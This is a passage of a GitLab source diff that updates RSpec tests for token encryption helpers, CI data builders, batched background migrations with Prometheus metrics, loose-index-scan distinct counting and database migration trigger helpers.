- stub_feature_flags(dynamic_nonce_creation: true)
- end
-
- it 'correctly decrypts encrypted string' do
- decrypted = described_class.aes256_gcm_decrypt(encrypted)
-
- expect(decrypted).to eq 'some-value'
- end
- end
end
context 'when token was encrypted using random nonce' do
let(:value) { 'random-value' }
-
- # for compatibility with tokens encrypted using dynamic nonce
- let!(:encrypted) do
- iv = create_nonce
- encrypted_token = described_class.create_encrypted_token(value, iv)
- TokenWithIv.create!(hashed_token: Digest::SHA256.digest(encrypted_token), hashed_plaintext_token: Digest::SHA256.digest(encrypted_token), iv: iv)
- encrypted_token
- end
-
- before do
- stub_feature_flags(dynamic_nonce_creation: true)
- end
+ let(:iv) { create_nonce }
+ let(:encrypted) { described_class.aes256_gcm_encrypt(value, nonce: iv) }
it 'correctly decrypts encrypted string' do
- decrypted = described_class.aes256_gcm_decrypt(encrypted)
+ decrypted = described_class.aes256_gcm_decrypt(encrypted, nonce: iv)
expect(decrypted).to eq value
end
-
- it 'does not save hashed token with iv value in database' do
- expect { described_class.aes256_gcm_decrypt(encrypted) }.not_to change { TokenWithIv.count }
- end
end
end
def create_nonce
- cipher = OpenSSL::Cipher.new('aes-256-gcm')
- cipher.encrypt # Required before '#random_iv' can be called
- cipher.random_iv # Ensures that the IV is the correct length respective to the algorithm used.
+ ::Digest::SHA256.hexdigest('my-value').bytes.take(TokenAuthenticatableStrategies::EncryptionHelper::NONCE_SIZE).pack('c*')
end
end
diff --git a/spec/lib/gitlab/data_builder/build_spec.rb b/spec/lib/gitlab/data_builder/build_spec.rb
index ab1728414bb..932238f281e 100644
--- a/spec/lib/gitlab/data_builder/build_spec.rb
+++ b/spec/lib/gitlab/data_builder/build_spec.rb
@@ -19,6 +19,9 @@ RSpec.describe Gitlab::DataBuilder::Build do
it { expect(data[:tag]).to eq(build.tag) }
it { expect(data[:build_id]).to eq(build.id) }
it { expect(data[:build_status]).to eq(build.status) }
+ it { expect(data[:build_created_at]).to eq(build.created_at) }
+ it { expect(data[:build_started_at]).to eq(build.started_at) }
+ it { expect(data[:build_finished_at]).to eq(build.finished_at) }
it { expect(data[:build_allow_failure]).to eq(false) }
it { expect(data[:build_failure_reason]).to eq(build.failure_reason) }
it { expect(data[:project_id]).to eq(build.project.id) }
diff --git a/spec/lib/gitlab/data_builder/pipeline_spec.rb b/spec/lib/gitlab/data_builder/pipeline_spec.rb
index cf04f560ceb..bec1e612c02 100644
--- a/spec/lib/gitlab/data_builder/pipeline_spec.rb
+++ b/spec/lib/gitlab/data_builder/pipeline_spec.rb
@@ -59,7 +59,6 @@ RSpec.describe Gitlab::DataBuilder::Pipeline do
expect(runner_data[:id]).to eq(ci_runner.id)
expect(runner_data[:description]).to eq(ci_runner.description)
expect(runner_data[:active]).to eq(ci_runner.active)
- expect(runner_data[:is_shared]).to eq(ci_runner.instance_type?)
expect(runner_data[:tags]).to match_array(tag_names)
end
end
diff --git a/spec/lib/gitlab/database/background_migration/batch_metrics_spec.rb b/spec/lib/gitlab/database/background_migration/batch_metrics_spec.rb
new file mode 100644
index 00000000000..e96862fbc2d
--- /dev/null
+++ b/spec/lib/gitlab/database/background_migration/batch_metrics_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+RSpec.describe Gitlab::Database::BackgroundMigration::BatchMetrics do
+ let(:batch_metrics) { described_class.new }
+
+ describe '#time_operation' do
+ it 'tracks the duration of the operation using monotonic time' do
+ expect(batch_metrics.timings).to be_empty
+
+ expect(Gitlab::Metrics::System).to receive(:monotonic_time)
+ .exactly(6).times
+ .and_return(0.0, 111.0, 200.0, 290.0, 300.0, 410.0)
+
+ batch_metrics.time_operation(:my_label) do
+ # some operation
+ end
+
+ batch_metrics.time_operation(:my_other_label) do
+ # some operation
+ end
+
+ batch_metrics.time_operation(:my_label) do
+ # some operation
+ end
+
+ expect(batch_metrics.timings).to eq(my_label: [111.0, 110.0], my_other_label: [90.0])
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/background_migration/batched_migration_runner_spec.rb b/spec/lib/gitlab/database/background_migration/batched_migration_runner_spec.rb
new file mode 100644
index 00000000000..7d0e10b62c6
--- /dev/null
+++ b/spec/lib/gitlab/database/background_migration/batched_migration_runner_spec.rb
@@ -0,0 +1,198 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigrationRunner do
+ let(:migration_wrapper) { double('test wrapper') }
+ let(:runner) { described_class.new(migration_wrapper) }
+
+ describe '#run_migration_job' do
+ shared_examples_for 'it has completed the migration' do
+ it 'does not create and run a migration job' do
+ expect(migration_wrapper).not_to receive(:perform)
+
+ expect do
+ runner.run_migration_job(migration)
+ end.not_to change { Gitlab::Database::BackgroundMigration::BatchedJob.count }
+ end
+
+ it 'marks the migration as finished' do
+ relation = Gitlab::Database::BackgroundMigration::BatchedMigration.finished.where(id: migration.id)
+
+ expect { runner.run_migration_job(migration) }.to change { relation.count }.by(1)
+ end
+ end
+
+ context 'when the migration has no previous jobs' do
+ let(:migration) { create(:batched_background_migration, :active, batch_size: 2) }
+
+ let(:job_relation) do
+ Gitlab::Database::BackgroundMigration::BatchedJob.where(batched_background_migration_id: migration.id)
+ end
+
+ context 'when the migration has batches to process' do
+ let!(:event1) { create(:event) }
+ let!(:event2) { create(:event) }
+ let!(:event3) { create(:event) }
+
+ it 'runs the job for the first batch' do
+ migration.update!(min_value: event1.id, max_value: event2.id)
+
+ expect(migration_wrapper).to receive(:perform) do |job_record|
+ expect(job_record).to eq(job_relation.first)
+ end
+
+ expect { runner.run_migration_job(migration) }.to change { job_relation.count }.by(1)
+
+ expect(job_relation.first).to have_attributes(
+ min_value: event1.id,
+ max_value: event2.id,
+ batch_size: migration.batch_size,
+ sub_batch_size: migration.sub_batch_size)
+ end
+ end
+
+ context 'when the batch maximum exceeds the migration maximum' do
+ let!(:events) { create_list(:event, 3) }
+ let(:event1) { events[0] }
+ let(:event2) { events[1] }
+
+ it 'clamps the batch maximum to the migration maximum' do
+ migration.update!(min_value: event1.id, max_value: event2.id, batch_size: 5)
+
+ expect(migration_wrapper).to receive(:perform)
+
+ expect { runner.run_migration_job(migration) }.to change { job_relation.count }.by(1)
+
+ expect(job_relation.first).to have_attributes(
+ min_value: event1.id,
+ max_value: event2.id,
+ batch_size: migration.batch_size,
+ sub_batch_size: migration.sub_batch_size)
+ end
+ end
+
+ context 'when the migration has no batches to process' do
+ it_behaves_like 'it has completed the migration'
+ end
+ end
+
+ context 'when the migration has previous jobs' do
+ let!(:event1) { create(:event) }
+ let!(:event2) { create(:event) }
+ let!(:event3) { create(:event) }
+
+ let!(:migration) do
+ create(:batched_background_migration, :active, batch_size: 2, min_value: event1.id, max_value: event3.id)
+ end
+
+ let!(:previous_job) do
+ create(:batched_background_migration_job,
+ batched_migration: migration,
+ min_value: event1.id,
+ max_value: event2.id,
+ batch_size: 2,
+ sub_batch_size: 1)
+ end
+
+ let(:job_relation) do
+ Gitlab::Database::BackgroundMigration::BatchedJob.where(batched_background_migration_id: migration.id)
+ end
+
+ context 'when the migration has batches to process' do
+ it 'runs the migration job for the next batch' do
+ expect(migration_wrapper).to receive(:perform) do |job_record|
+ expect(job_record).to eq(job_relation.last)
+ end
+
+ expect { runner.run_migration_job(migration) }.to change { job_relation.count }.by(1)
+
+ expect(job_relation.last).to have_attributes(
+ min_value: event3.id,
+ max_value: event3.id,
+ batch_size: migration.batch_size,
+ sub_batch_size: migration.sub_batch_size)
+ end
+
+ context 'when the batch minimum exceeds the migration maximum' do
+ before do
+ migration.update!(batch_size: 5, max_value: event2.id)
+ end
+
+ it_behaves_like 'it has completed the migration'
+ end
+ end
+
+ context 'when the migration has no batches remaining' do
+ before do
+ create(:batched_background_migration_job,
+ batched_migration: migration,
+ min_value: event3.id,
+ max_value: event3.id,
+ batch_size: 2,
+ sub_batch_size: 1)
+ end
+
+ it_behaves_like 'it has completed the migration'
+ end
+ end
+ end
+
+ describe '#run_entire_migration' do
+ context 'when not in a development or test environment' do
+ it 'raises an error' do
+ environment = double('environment', development?: false, test?: false)
+ migration = build(:batched_background_migration, :finished)
+
+ allow(Rails).to receive(:env).and_return(environment)
+
+ expect do
+ runner.run_entire_migration(migration)
+ end.to raise_error('this method is not intended for use in real environments')
+ end
+ end
+
+ context 'when the given migration is not active' do
+ it 'does not create and run migration jobs' do
+ migration = build(:batched_background_migration, :finished)
+
+ expect(migration_wrapper).not_to receive(:perform)
+
+ expect do
+ runner.run_entire_migration(migration)
+ end.not_to change { Gitlab::Database::BackgroundMigration::BatchedJob.count }
+ end
+ end
+
+ context 'when the given migration is active' do
+ let!(:event1) { create(:event) }
+ let!(:event2) { create(:event) }
+ let!(:event3) { create(:event) }
+
+ let!(:migration) do
+ create(:batched_background_migration, :active, batch_size: 2, min_value: event1.id, max_value: event3.id)
+ end
+
+ let(:job_relation) do
+ Gitlab::Database::BackgroundMigration::BatchedJob.where(batched_background_migration_id: migration.id)
+ end
+
+ it 'runs all jobs inline until finishing the migration' do
+ expect(migration_wrapper).to receive(:perform) do |job_record|
+ expect(job_record).to eq(job_relation.first)
+ end
+
+ expect(migration_wrapper).to receive(:perform) do |job_record|
+ expect(job_record).to eq(job_relation.last)
+ end
+
+ expect { runner.run_entire_migration(migration) }.to change { job_relation.count }.by(2)
+
+ expect(job_relation.first).to have_attributes(min_value: event1.id, max_value: event2.id)
+ expect(job_relation.last).to have_attributes(min_value: event3.id, max_value: event3.id)
+
+ expect(migration.reload).to be_finished
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb b/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
index f4a939e7c1f..261e23d0745 100644
--- a/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
+++ b/spec/lib/gitlab/database/background_migration/batched_migration_spec.rb
@@ -29,6 +29,16 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigration, type: :m
end
end
+ describe '.active_migration' do
+ let!(:migration1) { create(:batched_background_migration, :finished) }
+ let!(:migration2) { create(:batched_background_migration, :active) }
+ let!(:migration3) { create(:batched_background_migration, :active) }
+
+ it 'returns the first active migration according to queue order' do
+ expect(described_class.active_migration).to eq(migration2)
+ end
+ end
+
describe '#interval_elapsed?' do
context 'when the migration has no last_job' do
let(:batched_migration) { build(:batched_background_migration) }
@@ -77,6 +87,34 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigration, type: :m
end
end
end
+
+ context 'when an interval variance is given' do
+ let(:variance) { 2.seconds }
+
+ context 'when the last job is less than an interval with variance old' do
+ it 'returns false' do
+ freeze_time do
+ create(:batched_background_migration_job,
+ batched_migration: batched_migration,
+ created_at: Time.current - 1.minute - 57.seconds)
+
+ expect(batched_migration.interval_elapsed?(variance: variance)).to eq(false)
+ end
+ end
+ end
+
+ context 'when the last job is more than an interval with variance old' do
+ it 'returns true' do
+ freeze_time do
+ create(:batched_background_migration_job,
+ batched_migration: batched_migration,
+ created_at: Time.current - 1.minute - 58.seconds)
+
+ expect(batched_migration.interval_elapsed?(variance: variance)).to eq(true)
+ end
+ end
+ end
+ end
end
end
@@ -157,4 +195,17 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigration, type: :m
describe '#batch_class_name=' do
it_behaves_like 'an attr_writer that demodulizes assigned class names', :batch_class_name
end
+
+ describe '#prometheus_labels' do
+ let(:batched_migration) { create(:batched_background_migration, job_class_name: 'TestMigration', table_name: 'foo', column_name: 'bar') }
+
+ it 'returns a hash with labels for the migration' do
+ labels = {
+ migration_id: batched_migration.id,
+ migration_identifier: 'TestMigration/foo.bar'
+ }
+
+ expect(batched_migration.prometheus_labels).to eq(labels)
+ end
+ end
end
diff --git a/spec/lib/gitlab/database/background_migration/batched_migration_wrapper_spec.rb b/spec/lib/gitlab/database/background_migration/batched_migration_wrapper_spec.rb
index 17cceb35ff7..00d13f23d36 100644
--- a/spec/lib/gitlab/database/background_migration/batched_migration_wrapper_spec.rb
+++ b/spec/lib/gitlab/database/background_migration/batched_migration_wrapper_spec.rb
@@ -3,43 +3,105 @@
require 'spec_helper'
RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigrationWrapper, '#perform' do
- let(:migration_wrapper) { described_class.new }
+ subject { described_class.new.perform(job_record) }
+
let(:job_class) { Gitlab::BackgroundMigration::CopyColumnUsingBackgroundMigrationJob }
let_it_be(:active_migration) { create(:batched_background_migration, :active, job_arguments: [:id, :other_id]) }
let!(:job_record) { create(:batched_background_migration_job, batched_migration: active_migration) }
+ let(:job_instance) { double('job instance', batch_metrics: {}) }
+
+ before do
+ allow(job_class).to receive(:new).and_return(job_instance)
+ end
it 'runs the migration job' do
- expect_next_instance_of(job_class) do |job_instance|
- expect(job_instance).to receive(:perform).with(1, 10, 'events', 'id', 1, 'id', 'other_id')
- end
+ expect(job_instance).to receive(:perform).with(1, 10, 'events', 'id', 1, 'id', 'other_id')
- migration_wrapper.perform(job_record)
+ subject
end
- it 'updates the the tracking record in the database' do
+ it 'updates the tracking record in the database' do
+ test_metrics = { 'my_metris' => 'some value' }
+
+ expect(job_instance).to receive(:perform)
+ expect(job_instance).to receive(:batch_metrics).and_return(test_metrics)
+
expect(job_record).to receive(:update!).with(hash_including(attempts: 1, status: :running)).and_call_original
freeze_time do
- migration_wrapper.perform(job_record)
+ subject
reloaded_job_record = job_record.reload
expect(reloaded_job_record).not_to be_pending
expect(reloaded_job_record.attempts).to eq(1)
expect(reloaded_job_record.started_at).to eq(Time.current)
+ expect(reloaded_job_record.metrics).to eq(test_metrics)
+ end
+ end
+
+ context 'reporting prometheus metrics' do
+ let(:labels) { job_record.batched_migration.prometheus_labels }
+
+ before do
+ allow(job_instance).to receive(:perform)
+ end
+
+ it 'reports batch_size' do
+ expect(described_class.metrics[:gauge_batch_size]).to receive(:set).with(labels, job_record.batch_size)
+
+ subject
+ end
+
+ it 'reports sub_batch_size' do
+ expect(described_class.metrics[:gauge_sub_batch_size]).to receive(:set).with(labels, job_record.sub_batch_size)
+
+ subject
+ end
+
+ it 'reports updated tuples (currently based on batch_size)' do
+ expect(described_class.metrics[:counter_updated_tuples]).to receive(:increment).with(labels, job_record.batch_size)
+
+ subject
+ end
+
+ it 'reports summary of query timings' do
+ metrics = { 'timings' => { 'update_all' => [1, 2, 3, 4, 5] } }
+
+ expect(job_instance).to receive(:batch_metrics).and_return(metrics)
+
+ metrics['timings'].each do |key, timings|
+ summary_labels = labels.merge(operation: key)
+ timings.each do |timing|
+ expect(described_class.metrics[:histogram_timings]).to receive(:observe).with(summary_labels, timing)
+ end
+ end
+
+ subject
+ end
+
+ it 'reports time efficiency' do
+ freeze_time do
+ expect(Time).to receive(:current).and_return(Time.zone.now - 5.seconds).ordered
+ expect(Time).to receive(:current).and_return(Time.zone.now).ordered
+
+ ratio = 5 / job_record.batched_migration.interval.to_f
+
+ expect(described_class.metrics[:histogram_time_efficiency]).to receive(:observe).with(labels, ratio)
+
+ subject
+ end
end
end
context 'when the migration job does not raise an error' do
it 'marks the tracking record as succeeded' do
- expect_next_instance_of(job_class) do |job_instance|
- expect(job_instance).to receive(:perform).with(1, 10, 'events', 'id', 1, 'id', 'other_id')
- end
+ expect(job_instance).to receive(:perform).with(1, 10, 'events', 'id', 1, 'id', 'other_id')
freeze_time do
- migration_wrapper.perform(job_record)
+ subject
reloaded_job_record = job_record.reload
@@ -51,14 +113,12 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigrationWrapper, '
context 'when the migration job raises an error' do
it 'marks the tracking record as failed before raising the error' do
- expect_next_instance_of(job_class) do |job_instance|
- expect(job_instance).to receive(:perform)
- .with(1, 10, 'events', 'id', 1, 'id', 'other_id')
- .and_raise(RuntimeError, 'Something broke!')
- end
+ expect(job_instance).to receive(:perform)
+ .with(1, 10, 'events', 'id', 1, 'id', 'other_id')
+ .and_raise(RuntimeError, 'Something broke!')
freeze_time do
- expect { migration_wrapper.perform(job_record) }.to raise_error(RuntimeError, 'Something broke!')
+ expect { subject }.to raise_error(RuntimeError, 'Something broke!')
reloaded_job_record = job_record.reload
diff --git a/spec/lib/gitlab/database/background_migration/scheduler_spec.rb b/spec/lib/gitlab/database/background_migration/scheduler_spec.rb
deleted file mode 100644
index ba745acdf8a..00000000000
--- a/spec/lib/gitlab/database/background_migration/scheduler_spec.rb
+++ /dev/null
@@ -1,182 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::Database::BackgroundMigration::Scheduler, '#perform' do
- let(:scheduler) { described_class.new }
-
- shared_examples_for 'it has no jobs to run' do
- it 'does not create and run a migration job' do
- test_wrapper = double('test wrapper')
-
- expect(test_wrapper).not_to receive(:perform)
-
- expect do
- scheduler.perform(migration_wrapper: test_wrapper)
- end.not_to change { Gitlab::Database::BackgroundMigration::BatchedJob.count }
- end
- end
-
- context 'when there are no active migrations' do
- let!(:migration) { create(:batched_background_migration, :finished) }
-
- it_behaves_like 'it has no jobs to run'
- end
-
- shared_examples_for 'it has completed the migration' do
- it 'marks the migration as finished' do
- relation = Gitlab::Database::BackgroundMigration::BatchedMigration.finished.where(id: first_migration.id)
-
- expect { scheduler.perform }.to change { relation.count }.by(1)
- end
- end
-
- context 'when there are active migrations' do
- let!(:first_migration) { create(:batched_background_migration, :active, batch_size: 2) }
- let!(:last_migration) { create(:batched_background_migration, :active) }
-
- let(:job_relation) do
- Gitlab::Database::BackgroundMigration::BatchedJob.where(batched_background_migration_id: first_migration.id)
- end
-
- context 'when the migration interval has not elapsed' do
- before do
- expect_next_found_instance_of(Gitlab::Database::BackgroundMigration::BatchedMigration) do |migration|
- expect(migration).to receive(:interval_elapsed?).and_return(false)
- end
- end
-
- it_behaves_like 'it has no jobs to run'
- end
-
- context 'when the interval has elapsed' do
- before do
- expect_next_found_instance_of(Gitlab::Database::BackgroundMigration::BatchedMigration) do |migration|
- expect(migration).to receive(:interval_elapsed?).and_return(true)
- end
- end
-
- context 'when the first migration has no previous jobs' do
- context 'when the migration has batches to process' do
- let!(:event1) { create(:event) }
- let!(:event2) { create(:event) }
- let!(:event3) { create(:event) }
-
- it 'runs the job for the first batch' do
- first_migration.update!(min_value: event1.id, max_value: event3.id)
-
- expect_next_instance_of(Gitlab::Database::BackgroundMigration::BatchedMigrationWrapper) do |wrapper|
- expect(wrapper).to receive(:perform).and_wrap_original do |_, job_record|
- expect(job_record).to eq(job_relation.first)
- end
- end
-
- expect { scheduler.perform }.to change { job_relation.count }.by(1)
-
- expect(job_relation.first).to have_attributes(
- min_value: event1.id,
- max_value: event2.id,
- batch_size: first_migration.batch_size,
- sub_batch_size: first_migration.sub_batch_size)
- end
- end
-
- context 'when the migration has no batches to process' do
- it_behaves_like 'it has no jobs to run'
- it_behaves_like 'it has completed the migration'
- end
- end
-
- context 'when the first migration has previous jobs' do
- let!(:event1) { create(:event) }
- let!(:event2) { create(:event) }
- let!(:event3) { create(:event) }
-
- let!(:previous_job) do
- create(:batched_background_migration_job,
- batched_migration: first_migration,
- min_value: event1.id,
- max_value: event2.id,
- batch_size: 2,
- sub_batch_size: 1)
- end
-
- context 'when the migration is ready to process another job' do
- it 'runs the migration job for the next batch' do
- first_migration.update!(min_value: event1.id, max_value: event3.id)
-
- expect_next_instance_of(Gitlab::Database::BackgroundMigration::BatchedMigrationWrapper) do |wrapper|
- expect(wrapper).to receive(:perform).and_wrap_original do |_, job_record|
- expect(job_record).to eq(job_relation.last)
- end
- end
-
- expect { scheduler.perform }.to change { job_relation.count }.by(1)
-
- expect(job_relation.last).to have_attributes(
- min_value: event3.id,
- max_value: event3.id,
- batch_size: first_migration.batch_size,
- sub_batch_size: first_migration.sub_batch_size)
- end
- end
-
- context 'when the migration has no batches remaining' do
- let!(:final_job) do
- create(:batched_background_migration_job,
- batched_migration: first_migration,
- min_value: event3.id,
- max_value: event3.id,
- batch_size: 2,
- sub_batch_size: 1)
- end
-
- it_behaves_like 'it has no jobs to run'
- it_behaves_like 'it has completed the migration'
- end
- end
-
- context 'when the bounds of the next batch exceed the migration maximum value' do
- let!(:events) { create_list(:event, 3) }
- let(:event1) { events[0] }
- let(:event2) { events[1] }
-
- context 'when the batch maximum exceeds the migration maximum' do
- it 'clamps the batch maximum to the migration maximum' do
- first_migration.update!(batch_size: 5, min_value: event1.id, max_value: event2.id)
-
- expect_next_instance_of(Gitlab::Database::BackgroundMigration::BatchedMigrationWrapper) do |wrapper|
- expect(wrapper).to receive(:perform)
- end
-
- expect { scheduler.perform }.to change { job_relation.count }.by(1)
-
- expect(job_relation.first).to have_attributes(
- min_value: event1.id,
- max_value: event2.id,
- batch_size: first_migration.batch_size,
- sub_batch_size: first_migration.sub_batch_size)
- end
- end
-
- context 'when the batch minimum exceeds the migration maximum' do
- let!(:previous_job) do
- create(:batched_background_migration_job,
- batched_migration: first_migration,
- min_value: event1.id,
- max_value: event2.id,
- batch_size: 5,
- sub_batch_size: 1)
- end
-
- before do
- first_migration.update!(batch_size: 5, min_value: 1, max_value: event2.id)
- end
-
- it_behaves_like 'it has no jobs to run'
- it_behaves_like 'it has completed the migration'
- end
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/database/batch_count_spec.rb b/spec/lib/gitlab/database/batch_count_spec.rb
index 29688b18e94..da13bc425d1 100644
--- a/spec/lib/gitlab/database/batch_count_spec.rb
+++ b/spec/lib/gitlab/database/batch_count_spec.rb
@@ -270,6 +270,8 @@ RSpec.describe Gitlab::Database::BatchCount do
end
it "defaults the batch size to #{Gitlab::Database::BatchCounter::DEFAULT_DISTINCT_BATCH_SIZE}" do
+ stub_feature_flags(loose_index_scan_for_distinct_values: false)
+
min_id = model.minimum(:id)
relation = instance_double(ActiveRecord::Relation)
allow(model).to receive_message_chain(:select, public_send: relation)
@@ -315,13 +317,85 @@ RSpec.describe Gitlab::Database::BatchCount do
end
end
- it_behaves_like 'when batch fetch query is canceled' do
+ context 'when the loose_index_scan_for_distinct_values feature flag is off' do
+ it_behaves_like 'when batch fetch query is canceled' do
+ let(:mode) { :distinct }
+ let(:operation) { :count }
+ let(:operation_args) { nil }
+ let(:column) { nil }
+
+ subject { described_class.method(:batch_distinct_count) }
+
+ before do
+ stub_feature_flags(loose_index_scan_for_distinct_values: false)
+ end
+ end
+ end
+
+ context 'when the loose_index_scan_for_distinct_values feature flag is on' do
let(:mode) { :distinct }
let(:operation) { :count }
let(:operation_args) { nil }
let(:column) { nil }
+ let(:batch_size) { 10_000 }
+
subject { described_class.method(:batch_distinct_count) }
+
+ before do
+ stub_feature_flags(loose_index_scan_for_distinct_values: true)
+ end
+
+ it 'reduces batch size by half and retry fetch' do
+ too_big_batch_relation_mock = instance_double(ActiveRecord::Relation)
+
+ count_method = double(send: 1)
+
+ allow(too_big_batch_relation_mock).to receive(:send).and_raise(ActiveRecord::QueryCanceled)
+ allow(Gitlab::Database::LooseIndexScanDistinctCount).to receive_message_chain(:new, :build_query).with(from: 0, to: batch_size).and_return(too_big_batch_relation_mock)
+ allow(Gitlab::Database::LooseIndexScanDistinctCount).to receive_message_chain(:new, :build_query).with(from: 0, to: batch_size / 2).and_return(count_method)
+ allow(Gitlab::Database::LooseIndexScanDistinctCount).to receive_message_chain(:new, :build_query).with(from: batch_size / 2, to: batch_size).and_return(count_method)
+
+ subject.call(model, column, batch_size: batch_size, start: 0, finish: batch_size - 1)
+ end
+
+ context 'when all retries fail' do
+ let(:batch_count_query) { 'SELECT COUNT(id) FROM relation WHERE id BETWEEN 0 and 1' }
+
+ before do
+ relation = instance_double(ActiveRecord::Relation)
+ allow(Gitlab::Database::LooseIndexScanDistinctCount).to receive_message_chain(:new, :build_query).and_return(relation)
+ allow(relation).to receive(:send).and_raise(ActiveRecord::QueryCanceled.new('query timed out'))
+ allow(relation).to receive(:to_sql).and_return(batch_count_query)
+ end
+
+ it 'logs failing query' do
+ expect(Gitlab::AppJsonLogger).to receive(:error).with(
+ event: 'batch_count',
+ relation: model.table_name,
+ operation: operation,
+ operation_args: operation_args,
+ start: 0,
+ mode: mode,
+ query: batch_count_query,
+ message: 'Query has been canceled with message: query timed out'
+ )
+ expect(subject.call(model, column, batch_size: batch_size, start: 0)).to eq(-1)
+ end
+ end
+
+ context 'when LooseIndexScanDistinctCount raises error' do
+ let(:column) { :creator_id }
+ let(:error_class) { Gitlab::Database::LooseIndexScanDistinctCount::ColumnConfigurationError }
+
+ it 'rescues ColumnConfigurationError' do
+ allow(Gitlab::Database::LooseIndexScanDistinctCount).to receive(:new).and_raise(error_class.new('error message'))
+
+ expect(Gitlab::AppJsonLogger).to receive(:error).with(a_hash_including(message: 'LooseIndexScanDistinctCount column error: error message'))
+
+ expect(subject.call(Project, column, batch_size: 10_000, start: 0)).to eq(-1)
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/database/loose_index_scan_distinct_count_spec.rb b/spec/lib/gitlab/database/loose_index_scan_distinct_count_spec.rb
new file mode 100644
index 00000000000..e0eac26e4d9
--- /dev/null
+++ b/spec/lib/gitlab/database/loose_index_scan_distinct_count_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::LooseIndexScanDistinctCount do
+ context 'counting distinct users' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:other_user) { create(:user) }
+
+ let(:column) { :creator_id }
+
+ before_all do
+ create_list(:project, 3, creator: user)
+ create_list(:project, 1, creator: other_user)
+ end
+
+ subject(:count) { described_class.new(Project, :creator_id).count(from: Project.minimum(:creator_id), to: Project.maximum(:creator_id) + 1) }
+
+ it { is_expected.to eq(2) }
+
+ context 'when STI model is queried' do
+ it 'does not raise error' do
+ expect { described_class.new(Group, :owner_id).count(from: 0, to: 1) }.not_to raise_error
+ end
+ end
+
+ context 'when model with default_scope is queried' do
+ it 'does not raise error' do
+ expect { described_class.new(GroupMember, :id).count(from: 0, to: 1) }.not_to raise_error
+ end
+ end
+
+ context 'when the fully qualified column is given' do
+ let(:column) { 'projects.creator_id' }
+
+ it { is_expected.to eq(2) }
+ end
+
+ context 'when AR attribute is given' do
+ let(:column) { Project.arel_table[:creator_id] }
+
+ it { is_expected.to eq(2) }
+ end
+
+ context 'when invalid value is given for the column' do
+ let(:column) { Class.new }
+
+ it { expect { described_class.new(Group, column) }.to raise_error(Gitlab::Database::LooseIndexScanDistinctCount::ColumnConfigurationError) }
+ end
+
+ context 'when null values are present' do
+ before do
+ create_list(:project, 2).each { |p| p.update_column(:creator_id, nil) }
+ end
+
+ it { is_expected.to eq(2) }
+ end
+ end
+
+ context 'counting STI models' do
+ let!(:groups) { create_list(:group, 3) }
+ let!(:namespaces) { create_list(:namespace, 2) }
+
+ let(:max_id) { Namespace.maximum(:id) + 1 }
+
+ it 'counts groups' do
+ count = described_class.new(Group, :id).count(from: 0, to: max_id)
+ expect(count).to eq(3)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/migration_helpers_spec.rb b/spec/lib/gitlab/database/migration_helpers_spec.rb
index 9178707a3d0..44293086e79 100644
--- a/spec/lib/gitlab/database/migration_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migration_helpers_spec.rb
@@ -835,7 +835,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
expect(model).to receive(:check_trigger_permissions!).with(:users)
expect(model).to receive(:install_rename_triggers_for_postgresql)
- .with(trigger_name, '"users"', '"old"', '"new"')
+ .with(:users, :old, :new)
expect(model).to receive(:add_column)
.with(:users, :new, :integer,
@@ -860,14 +860,18 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
context 'with existing records and type casting' do
let(:trigger_name) { model.rename_trigger_name(:users, :id, :new) }
let(:user) { create(:user) }
+ let(:copy_trigger) { double('copy trigger') }
+
+ before do
+ expect(Gitlab::Database::UnidirectionalCopyTrigger).to receive(:on_table)
+ .with(:users).and_return(copy_trigger)
+ end
it 'copies the value to the new column using the type_cast_function', :aggregate_failures do
expect(model).to receive(:copy_indexes).with(:users, :id, :new)
expect(model).to receive(:add_not_null_constraint).with(:users, :new)
expect(model).to receive(:execute).with("UPDATE \"users\" SET \"new\" = cast_to_jsonb_with_default(\"users\".\"id\") WHERE \"users\".\"id\" >= #{user.id}")
- expect(model).to receive(:execute).with("DROP TRIGGER IF EXISTS #{trigger_name}\nON \"users\"\n")
- expect(model).to receive(:execute).with("CREATE TRIGGER #{trigger_name}\nBEFORE INSERT OR UPDATE\nON \"users\"\nFOR EACH ROW\nEXECUTE FUNCTION #{trigger_name}()\n")
- expect(model).to receive(:execute).with("CREATE OR REPLACE FUNCTION #{trigger_name}()\nRETURNS trigger AS\n$BODY$\nBEGIN\n NEW.\"new\" := NEW.\"id\";\n RETURN NEW;\nEND;\n$BODY$\nLANGUAGE 'plpgsql'\nVOLATILE\n")
+ expect(copy_trigger).to receive(:create).with(:id, :new, trigger_name: nil)
model.rename_column_concurrently(:users, :id, :new, type_cast_function: 'cast_to_jsonb_with_default')
end
@@ -996,7 +1000,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
expect(model).to receive(:check_trigger_permissions!).with(:users)
expect(model).to receive(:install_rename_triggers_for_postgresql)
- .with(trigger_name, '"users"', '"old"', '"new"')
+ .with(:users, :old, :new)
expect(model).to receive(:add_column)
.with(:users, :old, :integer,
@@ -1156,7 +1160,7 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
.with(:users, temp_undo_cleanup_column, :old)
expect(model).to receive(:install_rename_triggers_for_postgresql)
- .with(trigger_name, '"users"', '"old"', '"old_for_type_change"')
+ .with(:users, :old, 'old_for_type_change')
model.undo_cleanup_concurrent_column_type_change(:users, :old, :string)
end
